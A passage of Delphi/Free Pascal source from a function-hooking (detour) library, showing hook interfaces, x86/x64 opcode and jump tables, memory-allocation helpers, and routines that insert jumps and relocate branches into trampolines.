ExitRecursiveSection(var TrampoLine): Boolean; function GetCreatorThreadIdFromTrampoline(var TrampoLine): TThreadId; function GetTrampolineParam(var TrampoLine): Pointer; {$IFDEF SUPPORTS_GENERICS} type IIntercept<T, U> = interface(IInterface) ['{EECBF3C2-3938-4923-835A-B0A6AD27744D}'] function GetTrampoline(): T; function GetParam(): U; function GetCreatorThreadId(): TThreadId; function GetInterceptOptions(): TInterceptOptions; function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean; function ExitRecursive(): Boolean; property NextHook: T read GetTrampoline; property TrampoLine: T read GetTrampoline; // alias to NextHook property Param: U read GetParam; property CreatorThreadId: TThreadId read GetCreatorThreadId; property InterceptOptions: TInterceptOptions read GetInterceptOptions; end; { Based on David Millington's original implementation TDetours<T>. } TIntercept<T, U> = class(TInterfacedObject, IIntercept<T, U>) private FNextHook: T; FTrampolinePtr: Pointer; FParam: U; FCreatorThreadId: TThreadId; FInterceptOptions: TInterceptOptions; function TToPointer(const A): Pointer; function PointerToT(const P): T; function EnsureTIsMethod(): Boolean; public function GetTrampoline(): T; function GetParam(): U; function GetCreatorThreadId(): TThreadId; function GetInterceptOptions(): TInterceptOptions; function EnterRecursive(MaxRecursionLevel: NativeInt = 0): Boolean; function ExitRecursive(): Boolean; constructor Create(const TargetProc, InterceptProc: T; const AParam: U; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); virtual; destructor Destroy(); override; property Param: U read FParam; property NextHook: T read FNextHook; property TrampoLine: T read FNextHook; // alias to NextHook property CreatorThreadId: TThreadId read FCreatorThreadId; property InterceptOptions: TInterceptOptions read FInterceptOptions; end; TIntercept<T> = class(TIntercept<T, Pointer>) public constructor Create(const TargetProc, InterceptProc: T; const AParam: Pointer = nil; const AInterceptOptions: TInterceptOptions = DefaultInterceptOptions); override; end; {$ENDIF SUPPORTS_GENERICS} type DetourException = Exception; implementation const { Nops } Nop9: array [0 .. 8] of Byte = ($66, $0F, $1F, $84, $00, $00, $00, $00, $00); Nop8: array [0 .. 7] of Byte = ($0F, $1F, $84, $00, $00, $00, $00, $00); Nop7: array [0 .. 6] of Byte = ($0F, $1F, $80, $00, $00, $00, $00); Nop6: array [0 .. 5] of Byte = ($66, $0F, $1F, $44, $00, $00); Nop5: array [0 .. 4] of Byte = ($0F, $1F, $44, $00, $00); Nop4: array [0 .. 3] of Byte = ($0F, $1F, $40, $00); Nop3: array [0 .. 2] of Byte = ($0F, $1F, $00); Nop2: array [0 .. 1] of Byte = ($66, $90); Nop1: array [0 .. 0] of Byte = ($90); MultiNops: array [0 .. 8] of PByte = ( // @Nop1, { Standard Nop } @Nop2, { 2 Bytes Nop } @Nop3, { 3 Bytes Nop } @Nop4, { 4 Bytes Nop } @Nop5, { 5 Bytes Nop } @Nop6, { 6 Bytes Nop } @Nop7, { 7 Bytes Nop } @Nop8, { 8 Bytes Nop } @Nop9 { 9 Bytes Nop } ); { Arithmetic operands } arNone = $00; arPlus = $08; arMin = $10; arAdd = arPlus or $01; arSub = arMin or $01; arInc = arPlus or $02; arDec = arMin or $02; { Instructions OpCodes } opJmpRelz = $E9; opJmpRelb = $EB; opJmpMem = $25FF; opTestb = $85; opPrfOpSize = $66; opPrfAddrSize = $67; opNop = $90; { thread constants } THREAD_SUSPEND_RESUME = $0002; { Error messages } SErrorSmallFunctionSize = 'Size of function is too small, risk to override others adjacent functions.'; SErrorInvalidJmp = 'Invalid JMP Type.'; SErrorInvalidJmp64 = 'Invalid JMP Type for x64.'; SErrorInvalidJmp32 = 'Invalid JMP Type for x32.'; SErrorInvalidDstSave = 'Invalid DstSave Address pointer.'; SErrorUnsupportedMultiNop = 'Multi Bytes Nop Instructions not supported by your CPU.'; SErrorRipDisp = 'Failed to correcr RIP Displacement.'; SErrorBigTrampoSize = 'Exceed maximum TrampoSize.'; SErrorMaxHook = 'Exceed maximum allowed of hooks.'; SErrorInvalidTargetProc = 'Invalid TargetProc Pointer.'; SErrorInvalidInterceptProc = 'Invalid InterceptProc Pointer.'; SErrorInvalidDescriptor = 'Invalid Descriptor.'; SErrorInvalidTrampoline = 'Invalid TrampoLine Pointer.'; SErrorBeginUnHook = 'BeginUnHooks must be called outside BeginHooks/EndHooks.'; SErrorRecursiveSectionUnsupported = 'Trampoline was not marked to use recursive section.'; SErrorTlsOutOfIndexes = 'Tls out of indexes.'; { JMP Type } JT_NONE = 0; JT_REL8 = 1; JT_REL16 = 2; JT_REL32 = 3; JT_MEM16 = 4; JT_MEM32 = 5; JT_MEM64 = 6; JT_RIPZ = 7; {$IFDEF CPUX64} JT_MEMN = JT_MEM64; {$ELSE !CPUX64} JT_MEMN = JT_MEM32; {$ENDIF CPUX64} { Jmp Type To Size } JmpTypeToSize: array [0 .. 7] of Byte = ( // 0, { None } 2, { JT_REL8 = $EB + Rel8 } 4, { JT_REL16 = OpSizePrf + $E9 + Rel16 } 5, { JT_REL32 = $E9 + Rel32 } 7, { JT_MEM16 = OpSizePrf + $FF /4 + Disp32 } 6, { JT_MEM32 = $FF /4 + Disp32 } 6, { JT_MEM64 = $FF /4 + Disp32 } 14 { JT_RIPZ = $FF /4 + Disp32 + DQ } ); SizeToJmpType: array [0 .. 4] of Byte = ( // {$IFDEF CPUX86} JT_REL8, { db } JT_REL16, { dw } JT_REL32, { dd } JT_MEM32, { dd } JT_MEM32 { dd } {$ELSE !CPUX86} JT_REL8, { db } JT_REL32, { dw } JT_REL32, { dd } JT_MEM64, { dq } JT_MEM64 { dq } {$ENDIF CPUX86} ); DscrSigSize = $08; TmpSize = 32; TrampolineSignature = $544C544C; type TArrayOfThreadId = array [0 .. HIGH(SmallInt) - 1] of DWORD; PArrayOfThreadId = ^TArrayOfThreadId; TTransactionStruct = record Options: TTransactionOptions; TID: DWORD; PID: DWORD; ThreadPriority: Integer; SuspendedThreadCount: Integer; SuspendedThreads: PArrayOfThreadId; end; PTransactionStruct = ^TTransactionStruct; TOpenThread = function(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THandle; stdcall; TDscrSig = array [0 .. DscrSigSize - 1] of Byte; TVirtualProtect = function(lpAddress: Pointer; dwSize: SIZE_T; flNewProtect: DWORD; var OldProtect: DWORD): BOOL; stdcall; TVirtualAlloc = function(lpvAddress: Pointer; dwSize: SIZE_T; flAllocationType, flProtect: DWORD): Pointer; stdcall; TVirtualQuery = function(lpAddress: Pointer; var lpBuffer: TMemoryBasicInformation; dwLength: SIZE_T): SIZE_T; stdcall; TFlushInstructionCache = function(hProcess: THandle; const lpBaseAddress: Pointer; dwSize: SIZE_T): BOOL; stdcall; TGetCurrentProcess = function: THandle; stdcall; TVirtualFree = function(lpAddress: Pointer; dwSize: SIZE_T; dwFreeType: DWORD): BOOL; stdcall; { TEnumThreadCallBack for EnumProcessThreads } TEnumThreadCallBack = function(ID: DWORD; Param: Pointer): Boolean; TInternalFuncs = record VirtualAlloc: TVirtualAlloc; VirtualFree: TVirtualFree; VirtualProtect: TVirtualProtect; VirtualQuery: TVirtualQuery; FlushInstructionCache: TFlushInstructionCache; GetCurrentProcess: TGetCurrentProcess; end; TTrampoInfo = record Addr: PByte; // Pointer to first trampoline instruction . Size: Byte; // Stolen bytes size . PData: PByte; // Original Stolen bytes. end; PTrampoInfo = ^TTrampoInfo; TJmpMem = packed record OpCode: WORD; // $0F$25 Disp32: Integer; end; PJmpMem = ^TJmpMem; TDescriptor = packed record Sig: TDscrSig; { Table signature. } DscrAddr: PByte; { Pointer that hold jmp address (if Used)! } nHook: Byte; { Number of hooks . } Flags: Byte; { Reserved for future use! } ExMem: PByte; { Reserved for jmp (if used) & for Trampoline ! } OrgPtr: PByte; { Original Target Proc address. } Trampo: PTrampoInfo; { Pointer to TrampoInfo struct. } { Array that hold jmp destination address. } JmpAddrs: array [0 .. MAX_HOOKS] of PByte; { Mark the beginning of descriptor code executing . ==> Must be NOP . } CodeEntry: Byte; { Jmp Instruction for NextHook call and Trampoline call ! } JmpMems: array [0 .. MAX_HOOKS] of TJmpMem; end; PDescriptor = ^TDescriptor; TNextHook = packed record ID: Byte; { Hook ID . } PDscr: PDescriptor; Signature: Cardinal; threadid: TThreadId; Param: Pointer; TlsRecursionLevelIndex: DWORD; InterceptOptions: TInterceptOptions; end; PNextHook = ^TNextHook; TTrampoDataVt = record vAddr: Pointer; Addr: Pointer; end; PTrampoDataVt = ^TTrampoDataVt; const TrampoSize = SizeOf(TNextHook) + 64; { Descriptor Signature } {$IFDEF CPUX64} DscrSig: TDscrSig = ( // $90, { NOP } $40, { REX } $40, { REX } $40, { REX } $0F, { ESCAPE TWO BYTE } $1F, { HINT_NOP } $F3, { PRF } $F3 { PRF } ); {$ELSE !CPUX64} DscrSig: TDscrSig = ( // $90, { NOP } $40, { INC EAX } $48, { DEC EAX } $90, { NOP } $0F, { ESCAPE TWO BYTE } $1F, { HINT_NOP } $F3, { PRF } $F3 { PRF } ); {$ENDIF CPUX64} {$IFDEF FPC} {$I 'TlHelp32.inc'} {$ENDIF FPC} var OpenThread: TOpenThread = nil; {$IFDEF FPC} CreateToolhelp32Snapshot: TCreateToolhelp32Snapshot = nil; Thread32First: TThread32First = nil; Thread32Next: TThread32Next = nil; {$ENDIF FPC} hKernel: THandle; OpenThreadExist: Boolean = False; FreeKernel: Boolean = False; SizeOfAlloc: DWORD = 0; // See initialization ! SysInfo: TSystemInfo; InternalFuncs: TInternalFuncs; {$IFDEF SUPPORTS_MONITOR} FLock: TObject = nil; {$ELSE !SUPPORTS_MONITOR} FLock: TCriticalSection = nil; {$ENDIF SUPPORTS_MONITOR } { ================================== Utils ================================== } function GetUInt64Size(const Value: UInt64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE} begin if UInt8(Value) = Value then Result := 1 else if UInt16(Value) = Value then Result := 2 else if UInt32(Value) = Value then Result := 4 else Result := 8; end; function GetInt64Size(const Value: Int64): Integer; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE} begin if Int8(Value) = Value then Result := 1 else if Int16(Value) = Value then Result := 2 else if Int32(Value) = Value then Result := 4 else Result := 8; end; procedure EnterLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE} begin {$IFDEF SUPPORTS_MONITOR} TMonitor.Enter(LockedObject); {$ELSE !SUPPORTS_MONITOR} TCriticalSection(LockedObject).Enter(); {$ENDIF SUPPORTS_MONITOR} end; procedure LeaveLook(LockedObject: TObject); {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE} begin {$IFDEF SUPPORTS_MONITOR} TMonitor.Exit(LockedObject); {$ELSE !SUPPORTS_MONITOR} TCriticalSection(LockedObject).Leave(); {$ENDIF SUPPORTS_MONITOR} end; function EnumProcessThreads(PID: DWORD; CallBack: TEnumThreadCallBack; Param: Pointer): BOOL; var hSnap: THandle; te: TThreadEntry32; Next: Boolean; begin hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, PID); Result := hSnap <> INVALID_HANDLE_VALUE; if Result then begin te.dwSize := SizeOf(TThreadEntry32); Next := Thread32First(hSnap, te); while Next do begin if (te.th32OwnerProcessID = PID) then begin try if not CallBack(te.th32ThreadID, Param) then break; except end; end; Next := Thread32Next(hSnap, te); end; Result := CloseHandle(hSnap); end; end; function SetMemPermission(const P: Pointer; const Size: SIZE_T; const NewProtect: DWORD): DWORD; const PAGE_EXECUTE_FLAGS = PAGE_EXECUTE or PAGE_EXECUTE_READ or PAGE_EXECUTE_READWRITE or PAGE_EXECUTE_WRITECOPY; begin Result := 0; if Assigned(P) and (Size > 0) and (NewProtect > 0) then begin if InternalFuncs.VirtualProtect(P, Size, NewProtect, Result) then if (NewProtect and PAGE_EXECUTE_FLAGS <> 0) then { If the protected region will be executed => We need to update the cpu cache ! } InternalFuncs.FlushInstructionCache(InternalFuncs.GetCurrentProcess(), P, Size); end; end; function GetDispDataSize(PInst: PInstruction): Integer; begin Result := 0; if PInst^.Disp.Flags and dfUsed <> 0 then begin if PInst^.Archi = CPUX32 then begin if PInst^.Prefixes and Prf_OpSize <> 0 then Result := ops16bits else Result := ops32bits; Exit; end else begin case PInst^.OperandFlags of opdD64: begin { Defaults to O64 in PM64. PrfOpSize results in O16. } if PInst^.Prefixes and Prf_OpSize <> 0 then Result := ops16bits else Result := ops64bits; end; opdF64, opdDv64: begin { The operand size is forced to a 64-bit operand size in PM64 ! } Result := (ops64bits); Exit; end; opdDf64: begin { Defaults to O64 in PM64. PrfOpSize results in O16 in AMD64. PrfOpSize is ignored in EM64T. } if (CPUVendor = vAMD) and (PInst^.Prefixes and Prf_OpSize <> 0) then Result := (ops16bits) else Result := (ops64bits); Exit; end; else begin if PInst^.Rex.W then Result := (ops64bits) else if (PInst^.Prefixes and Prf_OpSize <> 0) then Result := (ops16bits) else Result := (ops32bits); Exit; end; end; end; end; end; function fDecodeInst(PInst: PInstruction): Integer; var IsNxtInstData: Boolean; begin { Include VEX decoding if the cpu support it! } if (VEX in CPUEncoding) then PInst.Options := DecodeVex; Result := DecodeInst(PInst); {$IFDEF CPUX64} IsNxtInstData := ((PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip)) and (PInst^.Disp.Value = 0)); {$ELSE !CPUX64} IsNxtInstData := (PInst^.Disp.Value = Int64(PInst^.NextInst)); {$ENDIF CPUX64} if IsNxtInstData then begin { Check if the Next Instruction is data ! If so , That's mean it's not a valid instruction . We must skip this data .. otherwise , disassembling next instructions will fail ! } Inc(Result, GetDispDataSize(PInst)); PInst^.InstSize := Result; end; end; function RoundMultipleOf(const Value, MultipleOf: NativeInt): NativeInt; {$IFDEF SUPPORTS_INLINE}inline; {$ENDIF SUPPORTS_INLINE} begin if Value = 0 then begin Result := (MultipleOf); Exit; end; Result := ((Value + (MultipleOf - 1)) and not(MultipleOf - 1)); end; function AllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer; var mbi: TMemoryBasicInformation; SysInfo: TSystemInfo; pBase: PByte; P: PByte; Q: PByte; pMax, pMin: PByte; dwAllocGran: DWORD; begin { Alloc memory on the specific nearest address from the Addr . } Result := nil; P := PByte(Addr); if not Assigned(P) then begin Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect); Exit; end; GetSystemInfo(SysInfo); pMin := SysInfo.lpMinimumApplicationAddress; pMax := SysInfo.lpMaximumApplicationAddress; dwAllocGran := SysInfo.dwAllocationGranularity; if (NativeUInt(P) < NativeUInt(pMin)) or (NativeUInt(P) > NativeUInt(pMax)) then Exit; if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) = 0 then Exit; pBase := mbi.BaseAddress; Q := pBase; while NativeUInt(Q) < NativeUInt(pMax) do begin if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then Exit; if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then begin { The address (P) must be multiple of the allocation granularity (dwAllocationGranularity) . } P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran)); Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect); if Assigned(Result) then Exit; end; Inc(Q, mbi.RegionSize); // Next Region . end; { If thre is no memory available in the range [Addr - pMax] try to allocate at the range [pMin - Addr] } Q := pBase; while NativeUInt(Q) > NativeUInt(pMin) do begin if InternalFuncs.VirtualQuery(Q, mbi, SizeOf(mbi)) = 0 then Exit; if (mbi.State = MEM_FREE) and (mbi.RegionSize >= dwAllocGran) and (mbi.RegionSize >= MemSize) then begin P := PByte(RoundMultipleOf(NativeInt(Q), dwAllocGran)); Result := InternalFuncs.VirtualAlloc(P, MemSize, MEM_RESERVE or MEM_COMMIT, flProtect); if Assigned(Result) then Exit; end; Dec(Q, mbi.RegionSize); // Previous Region. end; end; function TryAllocMemAt(const Addr: Pointer; const MemSize, flProtect: DWORD): Pointer; var MEM_64: DWORD; begin MEM_64 := 0; Result := AllocMemAt(Addr, MemSize, flProtect); if not Assigned(Result) then begin {$IFDEF CPUX64} { Allocates memory at the highest possible address } if (UInt64(Addr) and $FFFFFFFF00000000 <> 0) then MEM_64 := MEM_TOP_DOWN; {$ENDIF CPUX64} Result := InternalFuncs.VirtualAlloc(nil, MemSize, MEM_RESERVE or MEM_COMMIT or MEM_64, flProtect); end; end; function InsertJmp(Src, Dst: PByte; JmpType: Integer; const DstSave: PByte = nil): Integer; var Offset: NativeInt; JmpSize: Integer; begin Result := 1; JmpSize := JmpTypeToSize[JmpType]; Offset := NativeInt(NativeInt(Dst) - NativeInt(Src)) - JmpSize; case JmpType of JT_NONE: begin raise InterceptException.Create(SErrorInvalidJmp); end; JT_REL8: begin PByte(Src)^ := opJmpRelb; Inc(Src); PInt8(Src)^ := Int8(Offset); end; JT_REL16: begin {$IFDEF CPUX64} { JMP Rel16 ==> Not supported on x64! } raise InterceptException.Create(SErrorInvalidJmp64); {$ENDIF CPUX64} PByte(Src)^ := opPrfOpSize; Inc(Src); PByte(Src)^ := opJmpRelz; Inc(Src); PInt16(Src)^ := Int16(Offset); end; JT_REL32: begin PByte(Src)^ := opJmpRelz; Inc(Src); PInt32(Src)^ := Offset; end; JT_MEM16: begin {$IFDEF CPUX64} { JMP WORD [012345] ==> Not supported on x64! } raise InterceptException.Create(SErrorInvalidJmp64); {$ENDIF CPUX64} if not Assigned(DstSave) then raise InterceptException.Create(SErrorInvalidDstSave); PByte(Src)^ := opPrfOpSize; Inc(Src); PWord(Src)^ := opJmpMem; Inc(Src, 2); PUInt32(Src)^ := UInt32(DstSave); PUInt16(DstSave)^ := UInt16(Dst); end; JT_MEM32: begin {$IFDEF CPUX64} { JMP DWORD [012345] ==> Not supported on x64! } raise InterceptException.Create(SErrorInvalidJmp64); {$ENDIF CPUX64} if not Assigned(DstSave) then raise InterceptException.Create(SErrorInvalidDstSave); PWord(Src)^ := opJmpMem; Inc(Src, 2); PUInt32(Src)^ := UInt32(DstSave); PUInt32(DstSave)^ := UInt32(Dst); end; JT_MEM64: begin {$IFDEF CPUX86} { JMP QWORD [0123456789] ==> Not supported on x32! } raise InterceptException.Create(SErrorInvalidJmp32); {$ENDIF CPUX86} if not Assigned(DstSave) then raise InterceptException.Create(SErrorInvalidDstSave); { RIP Disp ! } PUInt64(DstSave)^ := UInt64(Dst); Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - JmpSize; PWord(Src)^ := opJmpMem; Inc(Src, 2); PInt32(Src)^ := Offset; end; JT_RIPZ: begin {$IFDEF CPUX86} raise InterceptException.Create(SErrorInvalidJmp32); {$ENDIF CPUX86} { This is the most harder way to insert a jump ! Why ? because we are going to mix code & data ! Thats mean when disassembling instructions after this branch .. you will have a corrupted dissambled structure ! The only way to detect this kind of jmp is: to use fDecodeInst rather than DecodeInst routine . ==> We should avoid using this kind of jmp in the original target proc . ==> It's Ok to use in others situation . } PWord(Src)^ := opJmpMem; Inc(Src, 2); PInt32(Src)^ := $00; Inc(Src, 4); PUInt64(Src)^ := UInt64(Dst); end; end; end; function GetJmpType(Src, Dst, DstSave: PByte): Integer; var Offset: NativeInt; OffsetSize: Integer; begin Offset := NativeInt(NativeInt(Src) - NativeInt(Dst)); OffsetSize := GetInt64Size(Offset); Result := SizeToJmpType[OffsetSize shr 1]; {$IFDEF CPUX64} if Result = JT_MEM64 then begin if not Assigned(DstSave) then raise InterceptException.Create(SErrorInvalidDstSave); Offset := NativeInt(NativeInt(DstSave) - NativeInt(Src)) - 7; if Integer(Offset) <> Offset then begin Result := (JT_RIPZ); Exit; end; end; {$ENDIF CPUX64} end; function IsMultiBytesNop(P: Pointer; Size: Integer): Boolean; var i: Integer; begin Result := False; if Size > 0 then begin while (Size > 0) do begin for i := Length(MultiNops) downto 1 do begin if Size >= i then begin Result := CompareMem(MultiNops[i - 1], P, i); if Result then begin Inc(PByte(P), i); Dec(Size, i); break; end; end; end; if not Result then Exit; end; Result := True; end; end; procedure FillMultiNop(var Buffer; Size: Integer); var i: Integer; P: PByte; begin { Multi Bytes Nop Instruction is fast to execute compared to the traditional NOP instruction. However it's not supported by all CPU ! ==> Use FillNop(P,Size,True). ==> CPUID implements a routine to detect if the CPU supports Multi Bytes Nop . } if not(iMultiNop in CPUInsts) then raise InterceptException.Create(SErrorUnsupportedMultiNop); P := PByte(@Buffer); for i := Length(MultiNops) downto 1 do begin while Size >= i do begin Move(MultiNops[i - 1]^, P^, i); Dec(Size, i); Inc(P, i); end; if Size = 0 then Exit; end; end; function IsNop(P: PByte; Size: Integer): Boolean; var i: Integer; begin { Return True if the first instructions are nop/multi nop. } Result := False; if iMultiNop in CPUInsts then Result := IsMultiBytesNop(P, Size) else for i := 0 to Size - 1 do begin Result := (P^ = opNop); if not Result then Exit; Inc(P); // Next Byte. end; end; procedure FillNop(var P; Size: Integer; MultipleNop: Boolean); begin if MultipleNop and (iMultiNop in CPUInsts) then FillMultiNop(P, Size) else FillChar(P, Size, opNop); end; function GetPrefixesCount(Prefixes: WORD): Byte; var Prf: WORD; i: Byte; begin { Get prefixes count used by the instruction. } Result := 0; if Prefixes = 0 then Exit; Prf := 0; i := 0; Prefixes := Prefixes and not Prf_VEX; while Prf < $8000 do begin Prf := (1 shl i); if (Prf and Prefixes = Prf) then Inc(Result); Inc(i); end; end; function GetInstOpCodes(PInst: PInstruction; P: PByte): ShortInt; var nPrfs: Byte; begin { Return opcodes length Instruction OpCodes in arg P . } Result := 0; FillChar(P^, MAX_INST_LENGTH_N, $90); nPrfs := GetPrefixesCount(PInst^.Prefixes); Inc(Result, nPrfs); case PInst^.OpTable of tbTwoByte: if PInst^.Prefixes and Prf_VEX3 = 0 then Inc(Result); // $0F tbThreeByte: begin if PInst^.Prefixes and Prf_VEX3 = 0 then Inc(Result, 2); // 0F + 38|3A ! end; tbFPU: Inc(Result, 2); // [$D8..$D9] + ModRm ! end; if PInst^.Prefixes and Prf_Vex2 <> 0 then Inc(Result); // VEX.P0 if PInst^.Prefixes and Prf_VEX3 <> 0 then Inc(Result, 2); // VEX.P0 + VEX.P1 if PInst^.OpKind = kGrp then Inc(Result, 2) // Group + ModRm else Inc(Result); // OpCode if Assigned(P) then Move(PInst^.Addr^, P^, Result); end; function GetJccOpCode(PInst: PInstruction; RelSize: Integer): DWORD; var OpCode: Byte; Opcodes: array [0 .. 3] of Byte; begin FillChar(PByte(@Opcodes[0])^, 4, #00); OpCode := PInst^.OpCode and $F; case RelSize of ops8bits: begin Opcodes[0] := $70 or OpCode; end; ops16bits: begin Opcodes[0] := opPrfOpSize; Opcodes[1] := $0F; Opcodes[2] := $80 or OpCode; end; ops32bits: begin Opcodes[0] := $0F; Opcodes[1] := $80 or OpCode; end; end; Result := PDWORD(@Opcodes[0])^; end; function CorrectJ(PInst: PInstruction; NewAddr: PByte): Integer; const { Convert LOOP instruction to relative word jcc ! } LOOP_To_JccZ: array [0 .. 3] of WORD = ($850F, $840F, $840F, $9090); { Convert LOOP instruction to relative byte jcc ! } LOOP_To_JccB: array [0 .. 3] of Byte = ($75, $74, $75, $90); var Offset: Int64; POpc: PByte; NOpc: DWORD; PQ: PByte; Relsz: Integer; JmpType: Integer; JmpSize: Integer; begin PQ := NewAddr; JmpSize := 0; GetMem(POpc, MAX_INST_LENGTH_N + 1); try // Opcsz := GetInstOpCodes(PInst, POpc); Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6); Relsz := GetInt64Size(Offset); {$IFDEF CPUX64} if Relsz = ops16bits then Relsz := ops32bits; {$ENDIF CPUX64} if PInst^.OpType and otJcc = 0 then begin { Not Jcc ! } if PInst^.OpCode in [$E0 .. $E2] then begin { LOOPNE/LOOPZ/LOOP } if Relsz = ops8bits then begin if PInst^.Prefixes and Prf_AddrSize <> 0 then begin PQ^ := opPrfAddrSize; Inc(PQ); end; PQ^ := PInst^.OpCode; Inc(PQ); PQ^ := Int8(Offset); Inc(PQ); end else case PInst^.AddrMode of am16: begin { Dec CX ! } {$IFDEF CPUX64} { . $49 result in REX ==> Use $FF group ! } PQ^ := opPrfOpSize; Inc(PQ); PQ^ := $FF; Inc(PQ); PQ^ := $C9; Inc(PQ); {$ELSE !CPUX64} PQ^ := opPrfOpSize; Inc(PQ); PQ^ := $49; Inc(PQ); {$ENDIF CPUX64} end; am32: begin { Dec ECX ! } {$IFDEF CPUX64} PQ^ := $FF; Inc(PQ); PQ^ := $C9; Inc(PQ); {$ELSE !CPUX64} PQ^ := $49; Inc(PQ); {$ENDIF CPUX64} end; am64: begin { Dec RCX ! } PQ^ := $48; // REX.W = True ! Inc(PQ); PQ^ := $FF; Inc(PQ); PQ^ := $C9; Inc(PQ); end; end; case Relsz of ops16bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5); PQ^ := opPrfOpSize; Inc(PQ); PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3]; Inc(PQ, 2); PInt16(PQ)^ := Int16(Offset); Inc(PQ, 2); end; ops32bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6); PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3]; Inc(PQ, 2); PInt32(PQ)^ := Int32(Offset); Inc(PQ, 4); end; ops64bits: begin { Dec RCX Jcc @Tmp Jmp @NextInst @Tmp: Jmp @LoopDst } { Insert Jcc ! } PQ^ := LOOP_To_JccB[PInst^.OpCode and 3]; Inc(PQ); PQ^ := 2; Inc(PQ); { Insert Jmp NextInst } PQ^ := opJmpRelb; Inc(PQ); PQ^ := 14; Inc(PQ); { Insert Jmp @LoopDst } InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ); Inc(PQ, 14); end; end; end else if PInst^.OpCode = $E3 then begin { JCXZ/JECX/JRCX } if Relsz = ops8bits then begin if PInst^.Prefixes and Prf_AddrSize <> 0 then begin PQ^ := opPrfAddrSize; Inc(PQ); end; PQ^ := PInst^.OpCode; Inc(PQ); PQ^ := Int8(Offset); Inc(PQ); end else case PInst^.AddrMode of am16: begin { TEST CX,CX } PQ^ := opPrfOpSize; Inc(PQ); PQ^ := opTestb; Inc(PQ); PQ^ := $C9; // ModRm [Mod = 3; Reg = Rm = CX = 1] Inc(PQ); end; am32: begin { TEST ECX,ECX } PQ^ := opTestb; Inc(PQ); PQ^ := $C9; Inc(PQ); end; am64: begin { TEST RCX,RCX } PQ^ := $48; // REX.W = True ! Inc(PQ); PQ^ := opTestb; Inc(PQ); PQ^ := $C9; Inc(PQ); end; end; case Relsz of ops16bits: begin { TEST CX,CX JZ @Dst } Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5); PQ^ := opPrfOpSize; Inc(PQ); PQ^ := $0F; Inc(PQ); PQ^ := $84; // JZ ! Inc(PQ); PInt16(PQ)^ := Int16(Offset); Inc(PQ, 2); end; ops32bits: begin { TEST ECX,ECX JZ @Dst } Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6); PQ^ := $0F; Inc(PQ); PQ^ := $84; // JZ ! Inc(PQ); PInt32(PQ)^ := Int32(Offset); Inc(PQ, 4); end; ops64bits: begin { TEST RCX,RCX JZ @Tmp Jmp @NextInst @Tmp: Jmp @Dst } { Insert JZ ! } PQ^ := $74; Inc(PQ); PQ^ := 2; Inc(PQ); { Insert Jmp NextInst } PQ^ := opJmpRelb; Inc(PQ); PQ^ := 14; Inc(PQ); { Insert Jmp @Dst } InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ); Inc(PQ, 14); end; end; end; end else begin { Jcc ! } NOpc := GetJccOpCode(PInst, Relsz); case Relsz of ops8bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 2); PInt8(PQ)^ := UInt8(NOpc); Inc(PQ); PInt8(PQ)^ := Int8(Offset); Inc(PQ); end; ops16bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5); PUInt32(PQ)^ := UInt32(NOpc); Inc(PQ, 3); PInt16(PQ)^ := Int16(Offset); Inc(PQ, 2); end; ops32bits: begin Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6); PUInt16(PQ)^ := UInt16(NOpc); Inc(PQ, 2); PInt32(PQ)^ := Int32(Offset); Inc(PQ, 4); end; ops64bits: begin { Unfortunately there is no Jcc Rel 64bits ! ===>Original implementation<=== test eax,eax jz @DstAddr ===>New implementation<=== test eax,eax Q: jz @tmp Q+2: jmp @NextInst Q+4: @tmp: Q+4: jmp @DstAddr Q+4+jmpsize: [DstAddr] @NextInstruction: } { jz @tmp is guaranteed to be 2 Bytes in length ! } { Trampo.NextInstruction = Q + 4 + jmp @DstAddr Size } PQ^ := PInst^.OpCode; Inc(PQ); PQ^ := 2; Inc(PQ); JmpType := GetJmpType(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 4 + 6)); JmpSize := JmpTypeToSize[JmpSize]; if JmpType > JT_REL32 then Inc(JmpSize, SizeOf(Pointer)); { Jmp To Next Valid Instruction ! } PQ^ := opJmpRelb; Inc(PQ); PQ^ := JmpSize; Inc(PQ); InsertJmp(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 4 + 6)); Inc(PQ, JmpSize); end; end; end; finally FreeMem(POpc); end; Result := Integer(NativeInt(PQ) - NativeInt(NewAddr)); if Result = 00 then begin Move(PInst^.Addr^, NewAddr^, PInst^.InstSize); Result := PInst^.InstSize; end; end; function MakeModRm(iMod, Reg, Rm: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF} begin Result := (iMod shl 6) or 